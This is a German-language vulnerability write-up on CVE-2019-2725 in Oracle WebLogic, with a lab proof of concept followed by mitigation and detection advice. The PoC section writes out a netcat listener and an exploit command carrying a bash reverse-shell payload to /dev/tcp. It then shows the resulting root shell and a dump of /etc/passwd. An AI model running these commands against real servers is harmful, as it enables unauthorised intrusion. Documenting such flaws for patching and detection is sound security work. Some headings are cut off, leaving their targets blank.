CVE-2019-2725 – Oracle WebLogic Unathentifizierte Remote-Code-Ausführung

Sicherheitslücke in der Komponente Oracle WebLogic Server von Oracle Fusion Middleware (Unterkomponente: Web Services). Betroffen sind die Versionen 10.3.6.0.0 und 12.1.3.0.0. Eine leicht ausnutzbare Sicherheitslücke ermöglicht es einem nicht authentifizierten Angreifer mit Netzwerkzugriff über HTTP, den Oracle WebLogic Server zu kompromittieren.

Schwachstellenübersicht

CVE-ID: CVE-2019-2725
Schweregrad: Kritisch (CVSS v3: 9.8)
Typ der Sicherheitslücke: Unathentifizierte Remote-Code-Ausführung (RCE)
Betroffenes Produkt: Oracle WebLogic Server
Betroffene Komponente: AsyncResponseService
Authentifizierung erforderlich: Nein
Benutzerinteraktion erforderlich: Nein

CVE-2019-2725 ist eine kritische Deserialisierungsschwachstelle in Oracle WebLogic Server, die es nicht authentifizierten Remote-Angreifern ermöglicht, über eine speziell präparierte SOAP-Anfrage an den Endpunkt /_async/AsyncResponseService beliebige Systembefehle auszuführen.

Betroffene Versionen

Oracle WebLogic Server-Versionen vor dem Critical Patch Update vom April 2019, einschließlich, aber nicht beschränkt auf:

WebLogic 10.3.6
WebLogic 12.1.3
WebLogic 12.2.1.3

Beschreibung der Sicherheitslücke

Die Sicherheitslücke besteht aufgrund unsicherer Deserialisierung im AsyncResponseService.
Ein Angreifer kann eine schädliche XML-Nutzlast senden, die zur Ausführung beliebiger Befehle auf dem zugrunde liegenden Betriebssystem ohne Authentifizierung führt.

Dieses Problem ist besonders gefährlich, weil:

Der Endpunkt oft extern freigegeben ist
Keine gültigen Anmeldeinformationen erforderlich sind
Die Ausnutzung direkt zu einer vollständigen Systemkompromittierung führt

Angriffsszenario

Angreifer identifiziert eine freigegebene WebLogic-Instanz
Angreifer sendet eine bösartige SOAP-Anfrage an:
WebLogic deserialisiert vom Angreifer kontrollierte Daten
Beliebige Betriebssystembefehle werden ausgeführt
Angreifer erhält Remote-Shell-Zugriff

Proof of Concept (PoC)

🔹 Angreifer-Listener (zweite CLI)

Starten Sie einen Netcat-Listener, um die Reverse-Shell zu empfangen:

nc -lvp 2323

🔹 Exploit-Ausführung (erste CLI)

Führen Sie das Exploit-Skript gegen den anfälligen WebLogic-Server aus:

python3 CVE-2019-2725.py http://172.17.0.6:7001/_async/AsyncResponseService '/bin/bash -i >& /dev/tcp/172.17.0.10/2323 0>&1'

Erwartete Ausgabe:

[+] Target appears VULNERABLE
[*] Sending payload...
[+] Payload delivered successfully (HTTP 202)

🔹 Erfolgreiches Exploit-Ergebnis

Auf dem Netcat-Listener wird eine Reverse-Shell empfangen:

Listening on 0.0.0.0 2323
Connection received on 172.17.0.6 39926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
root
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# pwd
/root/Oracle/Middleware/user_projects/domains/base_domain
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

Abhilfe & Behebung

Empfohlene Maßnahmen

Oracle Critical Patch Update (CPU) vom April 2019 anwenden

Aktualisieren Sie Oracle WebLogic Server auf eine Version, die die Sicherheitsupdates vom April 2019 enthält, bereitgestellt von Oracle https://www.oracle.com/security-alerts/alert-cve-2019-2725.html

Zugriff auf den anfälligen Endpunkt einschränken

Dies bestätigt die Remote-Befehlsausführung und den Systemzugriff.
Stellen Sie sicher, dass dieser Endpunkt nicht in nicht vertrauenswürdigen Netzwerken freigegeben ist
Beschränken Sie den Zugriff auf interne oder vertrauenswürdige IP-Bereiche

Nicht vertrauenswürdigen Zugriff durch Netzwerkkontrollen blockieren

Implementieren Sie strenge Firewall-Regeln
Erzwingen Sie Zugriffskontrollen durch Reverse-Proxys
Deaktivieren Sie unnötigen externen Zugriff auf WebLogic-Verwaltung und asynchrone Dienste

Protokollierung und kontinuierliche Überwachung aktivieren

Überwachen Sie HTTP-Zugriffsprotokolle
Alarmieren Sie bei ungewöhnlichen Anfragemustern für asynchrone Endpunkte

Erkennungsindikatoren

Die folgenden Indikatoren können auf einen versuchten oder erfolgreichen Exploit hinweisen:

🔍 Netzwerk- und Anwendungsindikatoren

Anfragen an:
Verdächtige oder fehlerhafte SOAP/XML-Nutzlasten
Wiederholte HTTP 202 Accepted-Antworten von asynchronen Diensten

🔍 Host-basierte Indikatoren

Ausgehende Netzwerkverbindungen, die vom WebLogic-Server initiiert werden
Unerwartete Shell-Ausführung wie:
/bin/bash
/bin/sh
Erstellung von Reverse-Shell-Verbindungen zu unbekannten IPs oder Ports

Empfehlungen zur Sicherheitsüberwachung

Aktivieren Sie IDS/IPS-Signaturen für bekannte WebLogic-SOAP-Exploit-Muster
Überwachen Sie ausgehenden Datenverkehr von WebLogic-Servern
Implementieren Sie die Ausführung mit minimalen Rechten für Anwendungsdienste
Überprüfen Sie regelmäßig die WebLogic-Prozessausführungsprotokolle

Danksagungen

Die folgenden öffentlichen Repositories wurden als Referenz für das Verständnis und die Validierung des Exploits herangezogen:

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

Beliebteste

Über